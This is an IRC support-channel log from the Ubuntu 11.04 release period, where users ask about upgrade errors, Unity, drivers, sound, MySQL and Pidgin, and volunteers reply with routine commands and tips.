[20:44] <calamari> ZzTribble: thanks.. that gives me a place to look!
[20:44] <ZzTribble> calamari: mhm
[20:44] <Inphernal> Hell all, trying to upgrade 10.10 64bit to 11.04, but I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." at "setting new software channels" step
[20:45] <Inphernal> Hey* haha
[20:45] <jdl> im having trouble installing android sdk
[20:45] <ZzTribble> praveen: Perhaps an issue w/ the version of windows. Or some random samba issue
[20:45] <LjL> naryfa: type "arecord -f dat -r 192000 -D hw:0,0 -d 5 test.wav" and see if it gives you any warning
[20:45] <_Neytiri_> how do i add a user with a home directory different than /home
[20:45] <ZzTribble> jdl: ... Um Download. Done?
[20:45] <LjL> jdl: what kind of trouble
[20:45] <JoseeAntonioR> [14:44] <usalabs> Yes, I have. No results.
[20:45] <aauthor> LjL: this is my ls -al:
[20:45] <aauthor> -rwxrwxrwx 1 tom tom 668 2011-05-01 14:42 .ICEauthority
[20:45] <segflt>  just "stop sshd" without the quotes
[20:45] <escott> _Neytiri_, a symlink would be easier
[20:46] <naryfa> LjL: Recording WAVE 'test.wav' : Signed 16 bit Little Endian, Rate 192000 Hz, Stereo
[20:46] <ikonia> service ssh stop
[20:46] <LjL> naryfa: then it works with 192000 just fine, nothing to set up
[20:46] <praveen> ZzTribble: i haven't configured samba.conf...i have installed samba gui version..and i share my folders with the help of this...
[20:46] <naryfa> LjL: but only on 16 bit, no?
[20:46] <erika> how can I get a list of all packages that I have installed?
[20:46] <jdl> i try following directions but terminal doesnt recognize any comand or directory
[20:46] <escott> _Neytiri_, but you should just be able to pass the -d option to useradd
[20:46] <viddy> erika: dpkg --get-selections
[20:47] <ZzTribble> praveen: ask #samba? lol
[20:47] <erika> not those that were part of the standard system. is this possible?
[20:47] <phunyguy> Hello!
[20:47] <phunyguy> hmmm... not sure i like empathy for irc
[20:47] <LjL> naryfa: ah right i forgot about the 24 bit part... but i don't think that specific command allows recording at 24 bit, so i don't know how you could check (perhaps install Audacity and try recording there)
[20:47] <phunyguy> but it will do.
[20:48] <ZzTribble> Ok. im done for now..
[20:48] <ZzTribble> later
[20:48] <phunyguy> cya
[20:48] <wli> http://kernel.ubuntu.com/git-repos/ubuntu/ubuntu-maverick.git I think
[20:48] <naryfa> LjL: ok, thanks for that info, be well good man (or woman lol)
[20:49] <LjL> aauthor: i have no clue, however there is a forum thread which suggests also checking the permissions for /home/tom itself... seems unlikely, but
[20:49] <Rehan> n00b question: is there anything similar to TeamViewer for Windows for Ubuntu?
[20:49] <Loshki> erika: sort of. /var/log/dpkg/dpkg.log.* contains all packages added in chronological order, so in theory you can reconstruct the list of things you added by using something like 'egrep installed'
[20:49] <Christian87> user teamviewer
[20:49] <binwiederhier> hey guys, does any of you know where gnome stores the user profile data (the one from System -> About Me)? Specifially, I'm interested in the profile picture.
[20:49] <JoshDreamland> 11.04 breaks XQueryPointer
[20:50] <jdl> i try following directions but terminal doesnt recognize any comand or directory
[20:50] <asdf_msc> is there a command to reload the 11.04 panel?
[20:50] <Loshki> JoshDreamland: please file a bug for it...
[20:50] <kz3> someone please help me configuring MySQL on ubuntu
[20:51] <Christian87> kz3 whats the prob?
[20:51] <JoshDreamland> Loshki: I'm trying to find any sort of substance to populate such a report with, because if XQueryPointer never worked, we'd be in serious trouble. I need some specific scenario in which it fails
[20:51] <phunyguy> kz3 there may be a mysql channel
[20:51] <aauthor> LjL: OK, I'll give it a shot.
[20:52] <Loshki> JoshDreamland: fair enough. Best of luck with that...
[20:52] <JoshDreamland> Thanks; I'll need it
[20:52]  * wli is having Parma polygon lib issues too.
[20:53] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, but I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." at "setting new software channels" step. Anyone know how to fix this?
[20:54] <mmmiiikkkeee> Hi I created a natty live USB drive from disk creator in maverick.  I get "syslinux 4.01 debian-20100714" after Googleing I read that typing "help<enter>" would let me boot, but does not seem to work.  any ideas?
[20:55] <flodine> hey everyone ubuntu 11.04 install and works fine until i switch screens it keeps locking up does unity have problems or what?
[20:56]  * Laggg is away: He's watering some kush
[20:56]  * wli is sticking to maverick until 11.x gets more bugs shaken out.
[20:56] <cl3tUs> Why is it that my login screen shows up on my second monitor/tv by default?  How do I change that?
[20:56] <chreestopher> anyone know of a good tutorial on gettng your soundcard to work with alsa in ubuntu? (preferably newb friendly)
[20:57] <cl3tUs> chreestopher, what kind of soundcard?  Have you checked in the additional drivers area?  I'm not sure if it'd be there as I'm new myself, but it's possible that it could be.
[20:58]  * wli isn't sure http is doing better than native git, but will find out after a while.
[20:59] <chreestopher> hd intell is the card acording to alsa, and VIA VT1708S is the chipset
[20:59] <Rehan> my plymouth loads fine until the very end when it goes to a black screen and i see some cron status messages. How can I make it so that I don't see any text screen in plymouth and go straight to the login?
[21:00] <Sacko> hello all. trying to install ubuntu from CD after booting gettting dropped into BusyBox/initramfs with message "Unable to find a medium containing a live file system".  Can anyone help?
[21:00] <carandraug> Hi! Is there a keyboard shortcut on gedit to move between the embedded terminal on the bottom pane and the text area?
[21:01] <JoshDreamland> I don't get it; this program also randomly freezes on quit
[21:01] <victorhugo289> Guys, wasn't Unity originally made for Netbooks?
[21:01] <MK``> yes
[21:02] <victorhugo289> If it can run in Netbooks, why doens't it run in my Desktop computer?
[21:02] <carandraug> victorhugo289, I believe so, yes
[21:02] <victorhugo289> Pentium 4, @2Ghz, 1GB ram
[21:02] <maddie> Can someone please help me with my question? http://fossplanet.com/f10/%5Bbug-774116%5D-%5Bnew%5D-unity-launcher-settings-resets-automatically-146723/
[21:02] <phunyguy> victorhugo289, yes but it caught on.
[21:02] <victorhugo289> It says I have to use Ubuntu classic
[21:02] <vooze> victorhugo289, maybe your GFX is not supported (too old) and no good drivers
[21:03] <arquebus> carandraug: how do you make the terminal show up gedit? Ive never seen that before
[21:03] <phunyguy> victorhugo289 or you just need to install proprietary drivers
[21:03] <victorhugo289> My video card is very old, yes, it's 128MB, I never needed proprietery drives
[21:03] <phunyguy> yeah its too old
[21:03] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, but I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." at "setting new software channels" step
[21:04] <victorhugo289> But then Netbooks are more powerful than my computer?
[21:04] <tensorpudding> victorhugo289: what card is it
[21:04] <jjlee> How do people bring up their iptables firewall these days?  I used to use if-pre-up.d, but network manager doesn't call those scripts any more.
[21:04] <maddie> please someone :/ http://fossplanet.com/f10/%5Bbug-774116%5D-%5Bnew%5D-unity-launcher-settings-resets-automatically-146723/
[21:04] <vooze> victorhugo289, just like you cant run windows7, on a old piece of shit computer, thats life :)
[21:04] <victorhugo289> Let me check...
[21:04] <phunyguy> Inphernal, sudo apt-get update
[21:04] <phunyguy> or something
[21:04] <phunyguy> :P
[21:04] <serpentologist> Hi, i have the following problem: i burned xubuntu image to disk and successfully booted from it. But when i tried to install the system i got error because some files could not be read. So here the question: is there a way to configure installer in such a way that it downloads packages from the server, not from the disk?
[21:04] <tensorpudding> victorhugo289: even if it doesn't require proprietary drivers, it's not unreasonable for it to be able to run compiz
[21:04] <carandraug> arquebus, go to preferences and there's a plugin called Embedded terminal. It will appear on gedit bottom pane (activate on the menu View or Ctr+F9)
[21:04] <usalabs> victorhugo289: if you're using nVidia, try running 'additional drivers' in the system section
[21:05] <brous-kee> jjlee perhaps via upstart?
[21:05] <jdl> hey i need help and nobody helped me!!!!!!!
[21:05] <victorhugo289> My video card is an ATI RAdeon 9250
[21:05] <arquebus> carandraug: ok, thx
[21:05] <phunyguy> jdl, calm down
[21:05] <jdl> ok
[21:05] <escott> Inphernal, have you held any packages in apt
[21:05] <phunyguy> free software is like that
[21:05] <plan_rich> i accedently removed me from all groups but my own and www-data... is there a way to add myself to admin again? there is no other user created yet with sudo rights...
[21:05] <phunyguy> you want to demand support, then buy windows
[21:05] <victorhugo289> I clicked Additional Drivers, it says "No propriety drivers are in use"
[21:05] <Inphernal> phunyguy: Did it, trying upgrader again
[21:06] <carandraug> arquebus, no problem. If you never looked into them, there's also a side pan where you can have a character map, and file browser. Soooo handy
[21:06] <victorhugo289> Ok, besides Unity, what's best about Ubuntu 11.04?
[21:06] <usalabs> does it show any listed driovers?
[21:06] <jdl> phunnyguy i am triing to install android SDK and its not working
[21:06] <usalabs> drivers*
[21:06] <Inphernal> escott: I think someone helped me figure out that I havn't last night, but I can check again if you can tell me how lol
[21:06] <brous-kee> plan_rich, you can recover via livecd  and re-create the user
[21:06] <victorhugo289> Asking me? No listed drivers
[21:06] <maddie> can someone help me with my problem? here's my post http://fossplanet.com/f10/%5Bbug-774116%5D-%5Bnew%5D-unity-launcher-settings-resets-automatically-146723/
[21:06] <carandraug> plan_rich, use a LiveCD for that
[21:06] <plan_rich> ok thx ill try that
[21:06] <arquebus> carandraug: thx
[21:07] <guntbert> jdl: did you see http://onthefencedevelopment.com/?p=455 ?
[21:07] <Sacko> has anybody ever ran into the "Unable to find a medium containing a live file system" error when installing from a live CD?
[21:07] <escott> Inphernal, try dpkg --get-selections
[21:08] <jjlee> brous-kee: maybe, thanks
[21:09] <jdl> guntbert thank you i will be back
[21:09] <tensorpudding> victorhugo289: what driver are you using, do you know?
[21:09] <cl3tUs> Anyone know what I can do to fix Samba4?  I upgraded to 11 and am getting issues when trying to install anything.
[21:09] <guntbert> Sacko: I've heard this once or twice in the past - never saw a satisfying answer what was the cause ...
[21:09] <Sacko> guntbert: yeah, google is devoid of much information on the subject
[21:10] <usalabs> victorhugo289: have a look at this page:- https://help.ubuntu.com/community/RadeonDriver
[21:10] <guntbert> Sacko: I was talking about here :-),  still step1) did you md5sum check the iso before burning it?
[21:11] <salomonv> hi, since 11.04 pidgin doesn't display in the notification area, is there any way to fix this?
[21:11] <Inphernal> phunyguy, taht didn't help, same error
[21:11] <Inphernal> taht*
[21:11] <Inphernal> that* lol
[21:11] <ikonia> salomonv: pidgin isn't in ubuntu any more
[21:11] <Sacko> guntbert: is there a tool for generating the md5sum on Vista?
[21:11] <salomonv> ikonia, thanks, but does that mean there is no way to keep using it, because I do like pidgin :)
[21:11] <tensorpudding> victorhugo289: the radeon driver has 3d support, so in theory compiz should work with your card
[21:11] <guntbert> !md5sum | Sacko sure
[21:12] <ubottu> Sacko sure: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[21:12] <ikonia> salomonv: how are you using it, if it's not in ubuntu any more
[21:12] <mister2> hey, my buddy's home folders (documents downloads pictures etc) have vanished mysteriously... any known bugs that'd do that or a log i could check for malicious intent?
[21:12] <salomonv> ikonia, well, it is still possible to use it...
[21:12] <albech> i need a wacom like pad with pressure sensitivity, any recommendations that work with ubuntu?
[21:12] <Inphernal> escott: Ok, a long list came up with install on the right of each listing
[21:12] <ikonia> salomonv: how are you using using it, if it's not in ubuntu any more
[21:12] <escott> Inphernal, you are interested in the ones that don't say install
[21:12] <salomonv> ikonia, the same way I've always used it?
[21:12] <Sacko> guntbert: I didn't think that was the issue since I've had the problem with multiple different Live CD's, and even when booting from a USB stick
[21:12] <bluenote> Good evening, all!
[21:12] <killaz> hi is there a way to get the old menu im now on 11.04 and i hate this ugly toy interface ?
[21:13] <ikonia> salomonv: where did you install it from ?
[21:13] <ikonia> !info pidgin
[21:13] <ubottu> pidgin (source: pidgin): multi-protocol instant messaging client. In component main, is optional. Version 1:2.7.11-1ubuntu2 (natty), package size 539 kB, installed size 1664 kB
[21:13] <salomonv> ikonia, it was still installed after the dist-upgrade?
[21:13] <ikonia> wow, it's still in main
[21:13] <ikonia> salomonv: so it doesn't go to the tray when you minimise it
[21:13] <Inphernal> escott: They all say install, but the list shows only l-z in Terminal
[21:13] <escott> !classic | killaz
[21:13] <ubottu> killaz: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[21:13] <Inphernal> escott: I can only scroll up to l
[21:14] <escott> Inphernal,  pipe it to grep -v install
[21:14] <killaz> ok thx a lot
[21:14] <salomonv> ikonia, no, the notification area on the top right in unity, next to the power-button etc, does not show the pidgin icon anymore
[21:14] <guntbert> Sacko: I didn't say it *is* the issue, just to start digging somewhere, and the you can "check the integrity" of the burnt CD from the start menu too
[21:14] <killaz> have a nice day all
[21:14] <bluenote> After updating to 11.04, I have a number of problems. One of them, however, is quite urgent: How can I find my old POST-ITs, which have been on my gnome desktop?
[21:14] <OfficiallyPC> When I try to upgrade the software-center in Maverick to the daily build PPA throght launchpad I get this in terminal: "The following packages have been kept back:  software-center". How to I upgrade it?
[21:14] <Inphernal> escott: What do you mean?
[21:14] <escott> Inphernal, dpkg --get-selections | grep -v install
[21:15] <usalabs> killaz: the logout and change session is only temporary, use the prog called 'Login Screen' and change the session to 'classic' there, it'll make it the default session for future natty restarts
[21:15] <trism> salomonv: there is an option in the pidgin preferences to show the status icon, however you would need to add it to the whitelist if you are using unity (it will show up in the messaging menu though)
[21:15] <escott> bluenote, have you tried running the post-it application?
[21:15] <tomek_> grabek
[21:15] <Sacko> guntbert: thanks i'll start there
[21:15] <Inphernal> escott: Ok, nothing came up
[21:15] <salomonv> trism, it does show in the messaging menu, but how can I add it to the whitelist?
[21:15] <guntbert> Sacko: Good luck :-)
[21:15] <mister2> hey, my buddy's home folders (documents downloads pictures etc) have vanished mysteriously... any known bugs that'd do that or a log i could check for malicious intent?
[21:16] <bluenote> can't find the application "post it"
[21:16] <logi> salomonv: you can access pidign in the menu by clicking on the envelop
[21:16] <bluenote> neither via terminal nor application finder
[21:16] <salomonv> logi, yes I can, but i would like to have the pidgin icon back as it was in gnome :)
[21:16] <jamil_1> I just reset settings in CCSM and apparently every thing is gone...no top bar, not side bar ....as if unity has crashed...
[21:16] <trism> salomonv: dconf-editor, desktop/unity/panel/systray-whitelist ..probably add 'Pidgin' but I haven't tested it
[21:17] <Rehan> has anyone been able to save their information in the About Me section in 11.04?
[21:17] <passthru> hey.
[21:17] <passthru> how to disable DRI on Ubuntu 11.04 ?
[21:17] <trism> salomonv: the description also suggests that adding 'all' will allow everything, which may be another option to try, haven't tested that either though
[21:17] <passthru> i wanna disable this because it is making my X session crashes all the time when I try to see a movie
[21:17] <escott> bluenote, there are dozens of stickynote applications if you could figure out which one...
[21:18] <bluenote> escott: The default one which was readily installed in the old desktop
[21:18] <salomonv> trism, thanks, do you need to update it some way or is closing the editor enough to apply the changes?
[21:18] <escott> !classic | bluenote
[21:18] <ubottu> bluenote: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[21:18] <Inphernal> escott: What does this mean?
[21:18] <escott> bluenote, see if you can find it there
[21:18] <usalabs> A reminder to anyone that doesn't like the new unity, go to system settings -> system -> Login Screen change session to classic, restart pc
[21:18] <hugelgupf> hi guys. I set up 11.04 parallel to win7 a few days ago, and my sound was fine. A few minutes ago, ubuntu stopped playing any sound, so I rebooted to win7, which worked fine, and rebooted to 11.04 again, and my sound doesn't work. It seems to recognize the sound, but if I go to system settings-> sound and I try to test the speakers, it won't work either
[21:18] <bsodmike> hi all.  I can't seem to get mysql back up n' running.  ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)
[21:18] <trism> salomonv: the changes should be applied as soon as you make them, might need to restart pidgin though
[21:18] <escott> Inphernal, i don't know but we eliminated that one possibility :)
[21:18] <bsodmike> I've tried starting it via /etc/init.d
[21:18] <bsodmike> and updstart script
[21:19] <bsodmike> no luck
[21:19] <Inphernal> escott: Haha ok, any other ideas?
[21:19] <salomonv> trism: thanks, I will do that, i'll get back to you
[21:19] <bluenote> ubottu: Thanks fot the hint. But: I like the new desktop. I WANT to use it ... why should I switch back?
[21:19] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[21:19] <escott> bluenote, just saying switch over and figure out the app name then come back to unity
[21:19] <flodine> hey guys is anyone having problems with 11.04 locking up?
[21:19] <bluenote> i see, sorry, was a bit slow
[21:19] <bluenote> thanks, I'll get back to you later
[21:19] <escott> Inphernal, afraid not
[21:19] <salomonv> flodine, as a matter of fact, had that twice today
[21:19] <escott> bluenote, thats ok i wasnt too clear
[21:20] <salomonv> flodine, while using vlc to watch a video, in case that helps
[21:20] <hugelgupf> flodine, salomonv, same thing has happened to me too
[21:20] <escott> bluenote, see if it is tomboy
[21:20] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, but I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." at "setting new software channels" step. No packages held
[21:20] <BassT> Hey guys. I did an update to Natty, now after a login I see the shell for a very short moment and get back to Login screen :(
[21:21] <Inphernal> escott: Ok, thanks for the help
[21:21] <Inphernal> I'll keep looking
[21:21] <usalabs> bsodmike: has mysql died?, you could try restarting using sudo /etc/init.d/mysql restart
[21:22] <jamil_1> HHow can I start unity manually ?
[21:22] <maddie> can someone please help me? http://askubuntu.com/questions/38954/unity-launcher-settings-resets-automatically
[21:22] <flodine> well it only happens in unity desktop
[21:22] <bsodmike> usalabs: tried that
[21:22] <usalabs> jamil_1: open a terminal and type unity
[21:23] <takatori> Hi, I was wondering if someone could help me with Unity?
[21:23] <cobalt237> I just upgraded to 11.04 and my X server is hanging on boot "module nvidia not found"
[21:23] <brian_> Hey
[21:23] <bindi> takatori: let me guess. it doesn't work?
[21:23] <maddie> can someone pleasee help me? http://askubuntu.com/questions/38954/unity-launcher-settings-resets-automatically
[21:23] <brian_> Anyone know how to switch from the GRUB bootloader back to the Windows bootloader?
[21:24] <JoseeAntonioR> I'm having a trouble with the bar in the left side: It doesn't auto-hides
[21:24] <takatori> bindi, Well I just installed it and I don't have it by default.  When I run unity in the terminal I get the error "Cannot register the panel shell: there is one already running"
[21:24] <takatori> When I say "just installed it" I mean Ubuntu 11.04
[21:24] <salomonv> tried it, unfortunately even after restarting pidgin after setting the whitelist to all i still don't have the pidgin icon in the notification area, while that is set in preferences to show always
[21:25] <trism> salomonv: I just tested it here, it works, try restarting unity
[21:25] <bindi> takatori: no idea :p
[21:25] <jamil_1> usalabs: I did type unity in terminal. Something flashed on screen and nothing happened...
[21:25] <salomonv> trism, okay, did you use pidgin, Pidgin, or all?
[21:25] <salomonv> trism, not sure if it's case sensitive
[21:25] <usalabs> brian_: as far as I know, windows does not recognize LInux ext partitions, but Linux does recognize windows ntfs, and fat partitions, hence a Linux grub loader is used, but the windows loader would not know how to handle Linux partitions
[21:26] <trism> salomonv: Pidgin, this is exactly what I have ['JavaEmbeddedFrame', 'Mumble', 'Wine', 'Skype', 'hp-systray', 'Pidgin']
[21:26] <salomonv> trism, thanks, will do a unity restart
[21:26] <brian_> Well
[21:26] <brian_> I have it installed via wubi
[21:26] <Nishishishi> omg
[21:26] <takatori> trism, is your Unity working by default or did you have to do anything to enable it/
[21:26] <escott> brian_, usalabs i think it is possible to chain load the ext4 partitions but you have to install grub onto the partition not the mbr which is flaky
[21:27] <trism> takatori: it will start with the default Ubuntu session if you have drivers that support it (usually)
[21:27] <Soothsayer> how do I keep the launcher bar on the left visible/maximized at all points?
[21:27] <Soothsayer> I don't want to auto-hide it
[21:27] <takatori> trism, I have a Nvidia GTS 450 with the latest drivers yet it doesn't start at all.
[21:27] <cl3tUs> Anyone know what I can do to fix Samba4?  I upgraded to 11.04 and am getting issues when trying to install anything.
[21:27] <cobalt237> I've seen a post for blacklisting the nouveau drivers and manually installing the nvidia drivers, but I was hoping to get around that
[21:27] <brian_> escott: I want the mbr, not the grub.  I have 2 Ubuntu partitions(I know, I had some issues)  One partition is from the wubi one is from a CD.  I want to get rid of one of them.
[21:27] <salomonv> trism, it worked, thanks a lot :D
[21:27] <bsodmike> this is completely purplexing
[21:27] <trism> Soothsayer: ccsm under the unity plugin, hide launcher/never
[21:28] <trism> salomonv: np, glad it is working
[21:28] <cobalt237> If nvidia-current is installed, shouldn't the module "nvidia" be there as well?
[21:28] <daniel2k> Hi people, please somebody help me? I want to open througt ssh and existing already opened session at my server console, how can i do this?
[21:28] <Soothsayer> trism, thanks
[21:29] <kingofswords> hi
[21:29] <sdgdsffsd> hello i need help
[21:29] <usalabs> brian_ : wubi installes a grub loader, and also installes unbuntu in it's own folder in C:\ I tried it on a laptop running win7, the only way I can think of is using the windows add/remove to remove ubuntu and it returns windows loader back to it's previous state
[21:29] <yepitsme19> Hey guys, is there a stable version of Gnome3 out for 11.04 yet?
[21:30] <chrome_> how can I resize the disk through the command line?
[21:30] <stfollower> how do i install kubuntu 11.04 in ubuntu 11.04?
[21:30] <escott> yepitsme19, no and there wont be until 11.10
[21:30] <yepitsme19> Really?? :(
[21:30] <arquebus> chrome_: fdisk
[21:31] <sdgdsffsd> hello i need help
[21:31] <brontosaurusrex> and the next LTS is 12.04?
[21:31] <guntbert> chrome_: only when the file system is not mounted
[21:31] <OfficiallyPC> When I try to upgrade the software-center in Maverick to the daily build through launchpad PPA I get this in terminal: "The following packages have been kept back: software-center". How to I upgrade it?
[21:31] <usalabs> otherwise, the reason Linux uses grub, is so that it can recognize windows partitions and linux, but windows can not and does not recognize ext partitions
[21:31] <daniel2k> how open an already logged session console throught ssh ?
[21:31] <escott> yepitsme19, unfortunately... unity uses some gnome2 stuff in a way that is very hard to reconcile with the gnome3 until unity is moved up to gtk3
[21:31] <sdgdsffsd> !pm | daniel2k
[21:31] <ubottu> daniel2k: Please ask your questions in the channel so that other people can help you, benefit from your questions and answers, and ensure that you're not getting bad advice. Please note that some people find it rude to be sent a PM without being asked for permission to do so first.
[21:32] <chrome_> guntbert: but I can't umount the fs..
[21:32] <stfollower> how do i install kubuntu 11.04 in ubuntu 11.04?
[21:32] <needlez> anyone know why i just got kicked from my gnome session for no reason?
[21:32] <Blue_Opal> stfollower: apt-get install kubuntu-desktop
[21:32] <akharris> I DONT HAV SOUND, MACBOOKPRO,MID-2008,11.04 32BIT, NEED HELP PLZ
[21:32] <guntbert> chrome_: then boot a live CD image (I guess it is a vbox guest)
[21:32] <yepitsme19> escott: That....really sucks:( Thanks for the info though.
[21:32] <coco3431> what channel should i go to for bash programing
[21:33] <stfollower> Blue_Opal, and how will I be able to change between desktops?
[21:33] <Blue_Opal> stfollower: you can then switch between them on the login screen
[21:33] <kingofswords> having trouble uninstalling crossover..even after i run /opt/cxoffice/bin/cxuninstall...any 1 know of anything
[21:33] <escott> yepitsme19, you could try the ppa but it reportedly breaks unity
[21:33] <arquebus> coco3431: #bash
[21:33] <chrome_> guntbert: yes, thanks
[21:33] <Blue_Opal> on the login screen there will be a button, you can swtich between gnome and kde
[21:33] <stfollower> Blue_Opal, ty!
[21:33] <Blue_Opal> np
[21:33] <nmaxchat> My Wine is acting up. It appears to start a program then vanishes.
[21:33] <sdgdsffsd> well my question is
[21:34] <sdgdsffsd> i dont like unity and gnome 3
[21:34] <sdgdsffsd> wehat alternatives
[21:34] <guntbert> chrome_: you can simply use GParted for that task
[21:34] <yepitsme19> Yea, I have tried. It works for the most part***  And to go back all you gotta do is a PPA purge. I was just hoping it was 100% good to go
[21:34] <Blue_Opal> sdgdsffsd: try kde
[21:34] <coco3431> arquebus: thanks
[21:34] <sdgdsffsd> Blue_Opal: i have installed Gnome now, i have to reinstall ?
[21:34] <Blue_Opal> nope, you can install both and switch between them
[21:35] <usalabs> nmaxchat: wine doesn't always support all win progs, ry using something like Vbox, Vmware player, or crossover office
[21:35] <sdgdsffsd> but i love gnome 2
[21:35] <Rehan> anyone have the issue of About Me not saving their info?
[21:35] <Blue_Opal> as i said it will not replace gnome
[21:35] <nmaxchat> usalabs, Which is best ?
[21:35] <sdgdsffsd> Blue_Opal what do you think
[21:36] <sdgdsffsd> how long can i use gnome 2 blue_opal ?
[21:36] <usalabs> Vmware player is free, I use it and it works good
[21:36] <JoshDreamland> Okay, it seems XQueryPointer is generating a BadValue error, even though the spec doesn't mention its ability to do so.
[21:36] <Blue_Opal> what do you mean how long?
[21:36] <sdgdsffsd> blue_opal is it in 11.10 ?
[21:36] <daniel2k> please somebody help me? I need to connect to my server console, because its running an application, but when I connect throught SSH it opens a new session, with a empty console... how can I connect into a logged session?
[21:36] <flametai1> Hey can someone help me out? I'm having some major problems, I updated from 10.10 to 11.04 and the panels from 10.10 are still there and won't allow being deleted? Unity likes to glitch and the only way to get my computer screen to show up is by randomly hitting F keys (F1-12) on the purple loading screen or else it never loads.
[21:36] <JoshDreamland> This means to me that some Unity-oriented modifications to 11.04 mean XQP is making bad calls itself.
[21:36] <nmaxchat> usalabs, Thanks
[21:36] <Blue_Opal> as far as i know ubuntu will now use unity, which has some gnome components
[21:36] <usalabs> nmaxchat: yw
[21:36] <sdgdsffsd> blue_opal is it in 11.10 ?
[21:36] <ajay> hey folks!
[21:36] <sdgdsffsd> so i cant use it in 11.10
[21:37] <ajay> looking for an mp4->dvd authoring tool, any thoughts?
[21:37] <guschtel_> hi, i installed ubuntu 11.04 on my toshiba l505d but there were several functions that didn't work. After that i passed to ubuntu 10.10 but my wireless don't work anymore
[21:37] <Blue_Opal> so no it isnt, 11.10 will probably be similar to whats in 11.04 which is unity
[21:37] <sdgdsffsd> Blue_opal and it isnt installable in 11.10 ?
[21:37] <osoba_> hmm can i talk lalala
[21:37] <osoba_> i can :O
[21:37] <dasbootcapitan> Hi
[21:37] <osoba_> the unity sidebar wont hide for some reason
[21:37] <osoba_> does anybody have a clue why?
[21:37] <Blue_Opal> not sure about that, if you like gnome 2 you should look at using a distro that hasnt switched to gnome 3, there are probably quite a few out there
[21:38] <flametai1> osoba_, did you update from 10.10? =/
[21:38] <ajay> guschtel_: wireless.. such a pain, agreed.. makes me scared to upgrade.
[21:38]  * arpan is away: Gone away for now
[21:38] <brontosaurusrex> ajay, a good looking ffmpeg command line to get dvd compatible mpegs + some other software for authoring
[21:38] <osoba_> i just installed ubuntu for the first time and it seems very intuitive and nice except the stupid sidebar that wont auto hide sometimes
[21:38] <usalabs> osoba_ use ccsm to autohide the bar:- http://maketecheasier.com/autohide-unity-launcher-in-ubuntu-natty/2011/04/20
[21:38] <osoba_> flametai1: its the most recent version
[21:38] <osoba_> and gnome is meh
[21:38] <guschtel_> ajay, it's a real shame but now with the 10.10 it does't work either
[21:39] <ajay> brontosaurusrex: yeah that'd work too.. online it seems like i need to run a multitude of cmds, and they take forever..
[21:39] <Rehan> wow, i can't believe libreoffice shipped with ubuntu. its such an unfinished piece of junk
[21:39] <sulfo> daniel2k: i'm looking for some clue... this is what i was also looking for for quite some time
[21:39] <flametai1> Can someone help me? =| Since I updated I've been having major problems =/
[21:39] <Blue_Opal> Rehan: true but there is not much of an alternative
[21:40] <Blue_Opal> openoffice wasnt much better
[21:40] <usalabs> A reminder to anyone that wants to hide the unity sidebar, have a look at this site:- http://maketecheasier.com/autohide-unity-launcher-in-ubuntu-natty/2011/04/20
[21:40] <flametai1> Blue_Opal, I prefer the Open office.
[21:40] <Rehan> Blue_Opal: really? I haven't really had much issues with open office
[21:40] <osoba_> i am looking at it thanks usalabs
[21:41] <brontosaurusrex> ajay, well, id certainly make this a multi-step process, i'd do the same even on some other more video friendly os
[21:41] <usalabs> osaba_: yw
[21:41] <takatori> Turns out I didn't have the latest drivers for my Graphics card, I managed to get Unity working and I gotta say that I love it.  However, I now can't get Ubuntu to detect my second monitors whereas before it was instant.  Any ideas?
[21:41] <Blue_Opal> Rehan: openoffice was defiantly more stable but it doesnt quite measure up compared to microsoft office, which is a disappointment, thats still a major problem with linux os, there is much in the way of an office app yet, hopefully things will change
[21:41] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, but I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." at "setting new software channels" step. No packages held
[21:41] <Rehan> Blue_Opal: theres a huge disconnect between Ubuntu's website which likes to play up the finished product ready for windows users to switch to and the actual product which isn't user friendly in the least
[21:42] <guntbert> !ot | Rehan Blue_Opal
[21:42] <ubottu> Rehan Blue_Opal: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[21:42] <jamil_1> When I login into ubuntu/unity I neither see the top bar nor the sidebar. But I know that unity is running because it show it in ps
[21:42] <daniel2k> sulfo: hehe I dont wanna get back to my office just to figure out whats going on on my server, I need to drive more than 1 hour hehehe so, because of this, I need to connect to the already openned console
[21:42] <Blue_Opal> Rehan: Yeah defiantly, the actualy operating system is world class but i often notice that applications are never quite as good, still it is impressive that they are free and dependant entirely on donations
[21:42] <guschtel_> anybody here with a toshiba l505d edition?! i am experimenting problems with my wireless
[21:42] <hrezaei> how to connect anaother desktop
[21:42] <hrezaei> via remote desktop
[21:42] <mitoni> Guys, would unity perform well on old pc (pentium 3, 512mb)?
[21:43] <sulfo> daniel2k: i know exactly how you feel :)
[21:43] <escott> mitoni, no
[21:43] <takatori> mitoni, extremely doubtful.
[21:43] <bsodmike> ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)
[21:43] <needlez> anyone using the new ubuntu 11.04 get an issue with X.org server kicking from gnome session??
[21:43] <Emylbus> when manually choosing partitions to install to, what do i mount to the ext4 partition?
[21:43] <hrezaei> hi people!
[21:43] <ikonia> bsodmike: look at the file /var/run/mysqld/mysqld.sock is it there
[21:43] <bsodmike> both my mysql logs are empty
[21:43] <hartmut> bsodmike: mysqld not running
[21:43] <Rehan> Emylbus: if you're a new user i would just choose '/'
[21:44] <flodine> im scared to log in to unity i really dont think its ready
[21:44] <usalabs> mitoni: if the (old?) pc has a supported video card, then I don't see why not
